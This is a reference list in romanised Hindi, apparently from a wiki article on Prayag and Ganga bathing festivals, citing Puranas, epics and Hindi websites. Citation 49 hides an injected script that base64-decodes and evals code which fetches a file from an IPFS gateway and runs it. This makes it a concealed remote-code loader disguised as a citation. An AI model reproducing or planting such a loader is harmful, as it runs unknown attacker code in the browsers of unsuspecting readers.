  43. ↑ vishnupuran 5,8,29
  44. ↑ sthool roop se gupt kal
  45. ↑ mahabharat vanaparv 84, 83
  46. ↑ jo prayag ke nikat ganga ke us par hai
  47. ↑ valmiki ramayan uttar-89
  48. ↑ ramacharitamanas, ayodhya kaand
  49. ↑ aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |prishth sankhya: 585 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  50. ↑ matsy 109.15; skand, kashi0 7.45; padm 6.23.27-34 tatha any
  51. ↑ rrigved khil sookt (10.75
  52. ↑ matsy (104.12), koorm (1.36.27) tatha agni (111.6-7) adi
  53. ↑ tirtharaj prayag (hiandi) (ech.ti.em.el) kumbh mela (adhikarik vebasait). abhigaman tithi: 8 janavari, 2013.
  54. ↑ tristhalisetu, prishth 8
  55. ↑ narasianhapuran(64.17
  56. ↑ matsy puran(111.4-10
  57. ↑ matsy puran(10.4.18
  58. ↑ adipuran aur atrismriti
  59. ↑ naradiy, poorvaddh, 7.52-53
  60. ↑ koorm0 (1.36.16-39
  61. ↑ alabarooni ka bharat, bhag 2, pri0 170
  62. ↑ ganga snan parv ka mahatv (hiandi) (ech.ti.em.el) veb duniya hiandi. abhigaman tithi: 8 janavari, 2013.

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